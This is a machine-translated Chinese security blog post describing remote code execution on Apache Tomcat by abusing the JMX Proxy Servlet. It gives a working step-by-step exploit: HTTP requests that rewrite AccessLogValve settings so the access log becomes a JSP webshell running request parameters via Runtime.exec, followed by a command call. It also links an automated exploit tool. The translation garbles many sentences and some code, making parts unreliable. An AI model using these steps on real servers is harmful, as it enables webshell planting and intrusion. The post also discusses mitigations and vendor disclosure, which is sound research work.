Tomcat的一种利用方式

admin

103387
文章

87
评论

2022年7月8日05:04:16评论31 views字数 7446阅读24分49秒阅读模式

0x00 前言

在介绍该利用方式之前有必要先进行一些说明

（1）不影响默认配置的Tomcat

（2）不影响通过jar部署的SpringBoot

（3）作为利用链中的一环，可以利用平台未授权访问或弱授权直接利用

我该利用方式的第一时间Tomcat报告并使用上千字来描述发现利用方式和危害性

然而Tomcat官方认为这不是安全漏洞，如果能够利用，完全应该由用户来负责

大致来看，利用手段如下图：

Tomcat的一种利用方式

0x01 经理

Tomcat一直存在一个“漏洞”的漏洞：导致不是Tomcat Manager上传war解压生成webshell的RCE

在tomcat/conf/tomcat-users.xml配置中

<用户用户 名= “管理员” 密码= “<必须更改>” 角色= “经理-gui” />

访问/manager/html输入用户名和密码，自动在里面上传war进行部署

Tomcat的一种利用方式

显然这不归Tomcat负责，应该由用户保证自己的账号和密码安全

TomcatManager为的管理采用了作者名作HTTP Basic认证，也就是用户名作认证后的Base64保护。

Tomcat的一种利用方式

如果想要强行破解这个认证其实是有可能的，因为Tomcat已经考虑到这个问题：参考LockOutRealm类的代码，默认在输入错误5次后会锁定5分钟。这Tomcat也是官方拒绝该漏洞的原因之一，他们认为基于JMXProxy实现的RCE攻击和类似的，由用户负责安全

public  class  LockOutRealm  extends  CombinedRealm  { 
    /**      * 用户连续认证失败的次数     * 被锁定。默认为 5。     */ 
    protected  int  failureCount  =  5 ;
    /**      * 身份验证失败次数     过多后用户被锁定的时间（以秒为单位） 。默认为 300（5 分钟）。     */
    受保护的 int  lockOutTime  =  300 ; }

真正值得一提的是：并Tomcat支持管理页面，同时支持API和家具JMXProxy

如果API可能无法访问导致P严重的安全问题（和牛聊天提到点，在某次CTF中出现）

使用API的方式是：http://{host}:{port}/manager/text/{command}?{parameters}

部署使用API包WAR：

http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo

如何使用JMXProxy是RCE本文的重点内容

一般安全研究人员并不会JMXProxy仅用于发现什么安全问题，因为官方描述中该功能监控

0x02 JMX

JMX与Tomcat特殊情况，在Java官方文档中JMX适用于：

JMX( Java Management Extensions)是一个为任何应用程序用户管理功能的框架。JMX是标准的代理和服务，实际上，可以在Java应用程序中使用代理和服务实现管理

用话：JMX让程序的，那么例如某Web网站是在24小时内有功能进行管理的，并且是对网站进行管理的；或者在业务高峰的过程中，想对网站进行管理，就可以了必须修改接口的配置值

一般JMX会通过Adapter实现Web管理页面，例如Zabbix和Nagios其他工具JVM的监控实现，老一些的平台JDMK和MX4J等

┌──────────┐ ┌──────────┐
    │jconsole │ │ 网页 │
    └──────────┘ └──────────┘
         │ │┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─
 JVM ▼ ▼ ││ ┌─────────┐ ┌──────────┐
  ┌─┤连接器├──┤适配器├─┐ ││ │ └─────────┘ └──────────┘ │
  │ MBeanServer │ ││ │ ┌──────┐┌──────┐┌──────┐ │
  └─┤MBean1├┤MBean2├┤MBean3├─┘ ││ └──────┘└──────┘└──────┘
 ── ── ── ── ── ── ── ── ── ── ── ─ ── ┘

实例结合，我开始了一个监测MX4J平台

Tomcat的一种利用方式

进入其中的ClassLoading属性观察：监控到类的属性，并且修改部分值可以在运行时进行

Tomcat的一种利用方式

在网上进行搜索可以发现类似的JMX管理页面，我们可以实时修改大量JVM内部的一些属性

但这种修改的情况下，大多数情况下是无意义的，顶多由于某些属性通过空指针导致没有服务这样的鸡肋

因此，研究的JMX变化RCE是通过比较研究来比较研究的

0x03 JMX代理

是本文的重点，在Tomcat Manager中还有一种特殊的礼仪管理：JMX Proxy Servlet

参考Tomcat 9.0官方文档中的描述，翻译后为：

JMX Proxy Servlet是一个量级级别，用于和设置Tomcat内部或任何MBean公开的。它的不是非常友好，但已经可以通过使用监控类访问界面以监视和更改Tomcat的内部使用非常有帮助。做两件事：信息和设置信息。要真正了解 JMX Proxy Servlet，你应该对 JMX 有一个了解这个大致了解的词。如果你不知道 JMX 是什么，那么请准备好被迷惑（不知道怎么confused解释用迷惑了）

理解用户JMX的描述能力，用户可能不说可能的问题，应该是通过对概念Tomcat给出JMX的，而一般不是直接手动提供的管理，而是会选择或者通过平台进行管理，正则是这个原因导致该漏洞有实际的危害AgentAPI

参考示例，例如我们需要运行时的大量内存使用监控情况

http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage

执行后得到的结果

好的 - 属性获取 'java.lang:type=Memory' - HeapMemoryUsage = javax.management.openmbean.CompositeDataSupport// ......内容={提交=308281344，初始化=534773760，最大值=7602176000，使用=106332232}）

可以监控JVM属性也可以修改JVM中的一些属性，例如JMX情节篇中提到的一个场景：

在业务高峰的时候，想对接口进行限流，就必须去修改期间的配置值。

在JMXProxy中也提供了修改一些变量的方法

http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE

参数：

set: 目标的BEANNAME（类似的类名）
att：目标的属性（类似类中的字段属性）
val: 需要修改的新值

另外支持命令函数，不过这一点我并没有做深入研究（可能某些特殊命令组合存在漏洞？）

http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数

总结：

JMXProxy提供Tomcat的JMX接口给平台分析和管理

监控和Tomcat支持内部部分变量的修改用于

0x04 RCE

本节内容是针对Tomcat的JMXProxy如何实现RCE

换句话来说：哪些JMXProxy支持修改的属性被修改后可以修改RCE

肉眼审计，我发现了一个有趣的类（Spring RCE有似有似无的师傅应该第一眼看到出来）

访问日志阀

描述JXMProxy信息如下，重点关注属性：

前缀：访问日志
模式：访问日志格式
后缀：访问日志后缀
目录：访问日志目录
文件日期格式：访问日志名日期格式

名称：Catalina:type=Valve,host=localhost,name=AccessLogValvemodelerType：org.apache.tomcat.util.modeler.BaseModelMBean可旋转：真检查存在：假前缀：localhost_access_log模式：%h %l %u %t "%r" %s %b类名：org.apache.catalina.valves.AccessLogValve语言环境：zh_CN后缀：.txt目录：日志启用：真状态名称：已开始缓冲：真异步支持：真重命名旋转：假文件日期格式：.yyyy-MM-dd

假设几个属性可以被设置，那么下面的RCE路线就很简单了

我测试了每一个属性，发现都可以成功修改

RCE的思路如下：

修改日志格式为：每一条新日志都变成了一句话
注意不能包含特殊符号，所以使用%{header}i从请求头中提取<%等特殊符号
修改日志后缀为：JSP
修改备注为：shell（只要可以独立在意具体是什么）
修改日志目录为可以解析JSP的目录：例如默认的webapps/ROOT
修改日志文件名时间格式的目的是使rotate创建新文件，写入JSP马
彩虹特殊请求头的请求能够写入Webshell

前期：

GET  /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d% 65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65% 73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20% 25%7b%73%7d%69  HTTP / 1.1主机： 127.0.0.1 :8080连接： 关闭授权： 基本 BASE64（用户名：密码）

这里有一个细节：要求其中的val参数为所有的URL编码

%{ p } i 运行时。获取运行时间（）。exec ( request.getParameter ( " cmd " )); % { }我

剧情和结局的特殊符号从请求头的p和s中获取

第二步：

修改日志后缀为：JSP

GET  /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp  HTTP / 1.1 Host :  127.0.0.1:8080 Connection :  close Authorization :  Basic BASE64(username:password)

第三步：

修改时间日志格式为：shell（当空时文件名就是shell.jsp了）

GET  /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell  HTTP / 1.1主机： 127.0.0.1 :8080连接： 关闭授权： 基本 BASE64（用户名：密码）

第四步：

修改日志存储目录到可解析JSP的目录：webapps/ROOT

GET  /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT  HTTP / 1.1 Host :  127.0.0.1:8080 Connection :  close Authorization :  Basic BASE64(username:password)

第五步：

修改日志文件名日期格式的目的是：触发AccessLogValve的rotate功能

在log日志记录信息的第一行调用rotate方法

公共 无效 日志（CharArrayWriter 消息） {
    旋转（）；
    // ... }

跟入rotate方法

public  void  rotate ()  { 
    // ... 
    String  tsDate ; 
    // 检查日期的变化
    tsDate  =  fileDateFormatter . 格式（新 日期（系统时间））；
    // 如果日期改变了，切换日志文件
    if  (! dateStamp .equals ( tsDate ) ) { close ( true ) ; dateStamp = tsDate ; 打开（）；} // ... }

跟入open方法如果新的fileDateFormatter不同则FileOutputStream写入新文件

protected  synchronized  void  open ()  { 
    // 打开当前日志文件
    // 如果没有旋转 - 文件名中不需要 dateStamp
    文件 pathname  =  getLogFile ( rotatable  &&  ! renameOnRotate ); 
    // ... 
    writer  =  new  PrintWriter ( new  BufferedWriter ( new  OutputStreamWriter ( 
        new  FileOutputStream ( pathname ,  true ),  charset ),  128000 ), 
                             false );
    // ... }

新日志文件名来自于prefix和sufix的外表

private  File  getLogFile ( boolean  useDateStamp )  { 
    // ... 
    File  dir  =  getDirectoryFile (); 
    // ... 
    pathname  =  new  File ( dir .getAbsoluteFile (), prefix + suffix ) ; // ...返回路径名; }

发送请求Payload

GET  /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val=  HTTP / 1.1主机： 127.0.0.1 :8080连接： 关闭授权： 基本 BASE64（用户名：密码）

第六步：

发送短信p和s请求头的请求，成功写入语句

GET  /  HTTP / 1.1主机： 127.0.0.1 :8080连接： 关闭p ： <% s ： %>//

RCE：

GET  /shell.jsp?cmd=calc.exe  HTTP / 1.1主机： 127.0.0.1 :8080连接： 关闭

我将发包以上的过程自动化，成功利用

Tomcat的一种利用方式

0x05 实战

虽然说RCE成功但是：需要有基础认证才能触发漏洞

目前看来这只是一种鸡肋的幕后RCE手段，有必要研究一下实际的利用

直接的联想是：Manager弱弱的女生，这个没有讨论的必要性
是否可以不认证就利用（利用平台）

Tomcat的一种利用方式

值得说明的一点是：黑盒情况下不能确定其他平台监控管理是否基于JMXProxy

某平台JMXProxy提供的类似假设API是基于一个假设
假设某个平台并不但是基于JMXProxy可以修改AccessLogValve属性同样可以RCE

因此，只要参考平台是否基于JMXProxy目标，就可以实现数据智能（监控RCE上图）实现

通过一些方法我找到了最新的平台，上述利用方式可以成功管理利用

再看看其他的，着着基于Java的Web服务，9%的人在Tomcat出现下面9个不开多写了

另外在的文件中写明Apache Tomcat：只有受到保护而不受保护manager-guiCSRFJMX

HTML 界面受到 CSRF（跨站请求伪造）攻击的保护但是无法保护文本和 JMX 接口。

因此，很容易因为相反更容易CSRF被CSRF+XSS利用JMXGET

存在漏洞XSS的情况下，容易利用

0x07 修复

我向Tomcat官方建议的修复方案是：

在文档中明确说明：JMXProxy存在RCE的安全风险
AccessLogValve属性的修改或者设置为对世界的毁灭
业务需要不能限制功能的话，绝对不能限制suffix为.jsp等可被解析执行的后缀

他们Tomcat官方并没有采纳，他们不认为这是漏洞

对于实际的项目而言，修复方案如下：

如果开启manager-jmx功能设置强密码
如果使用了访问MX4J等平台对JMX未进行管理，检查是否可以授权
如果写自己基于Tomcat的JMX管理功能，应该对AccessLogValve属性进行限制

0x08 总结

我写了一个自动利用的工具：https://github.com/4ra1n/tomcat-jmxproxy-rce-exp

在tomcat/conf/tomcat-users.xml配置中

<用户用户 名= “admin” 密码= “123456” 角色= “manager-jmx” />

修改config.ini利用文件，然后随时可以复现

#目标ip主机= 127.0.0.1 #目标端口port = 8080 #目标tomcat jmxproxy用户名username = admin #目标tomcat jmxproxy密码密码= 123456 #执行命令cmd = calc.exe

执行EXP程序：./tomcat-jmxproxy-rce-exp

正如所说，虽然官方不承认，但我认为该漏洞有一些更大的Tomcat危害TomcatRCE CVE

官方否定漏洞的原因是：

用户必须开启manager功能，默认Tomcat中为关闭的
用户必须暴漏manager/jmxproxy到公网
用户必须使用了弱日
如果是非弱弱的情况下Tomcat已经LockOutRealm可以防御

事实上，他们没有考虑到平台的Tomcat原因，但他们没有考虑到平台的影响和后果

比如今天的Tomcat Session RCE条件同样高，甚至需要根据文件上传漏洞，实战价值未必大

个人JMXProxy漏洞虽然有限制条件，但在整个漏洞利用该限制条件时可以被视为链中的

后来我过官方：

Tomcat Session RCE在实战中遭遇，或者是极端小英雄，但是你们认可

通过JMX平台未授权造成RCE的案例有很多

从实际危害来看，显然我报告的漏洞存在的认可和风险，为什么不有害

官方回复很简单：不管有多大的错误，你说的都是用户的错误，不是Tomcat的

从另一个角度来看，利用方式可以从理解为未授权访问或越权访问

使用manager-gui是最高权限，可以直接启动停止和部署战包
使用manager-jmx监控和权限较低，实际上只能修改部分变量

如果一个用户可以通过一些方法manager-jmx（例如RCE）达到manager-gui能够做的事情，这是否可以认为是一种漏洞？

如果我最初提交Tomcat的报告这样来写，会不会得到认可？

来源：先知(https://xz.aliyun.com/t/11450#toc-0)

注：如有绘画请联系删除

Tomcat的一种利用方式

欢迎大家一起加群讨论学习和交流

Tomcat的一种利用方式

快乐要懂得分享，

加倍的快乐。

原文始发于微信公众号（衡阳信安）：Tomcat的一种利用方式

左青龙
微信扫一扫

右白虎
微信扫一扫

Tomcat的一种利用方式

0x00 前言

0x01 经理

0x02 JMX

0x03 JMX代理

0x04 RCE

0x05 实战

0x07 修复

0x08 总结

原创 Paper | 从 XZ 后门学奇技淫巧

某H5购物商城系统审计(未公开漏洞)

一篇文章搞懂各种代理穿透

依赖ChangeServiceConfigA运行命令的无文件横向移动工具

内网中关于MS-SAMR协议的利用

记一次Spring表达式注入

实战红队：记一次从文件上传突破TQ到内网突破

【2024HW】|6-攻防演练中一次渗透测试实例

一次简单的SRC漏洞挖掘

实战 | 记一次对某集团漏洞挖掘

发表评论

在线咨询

微信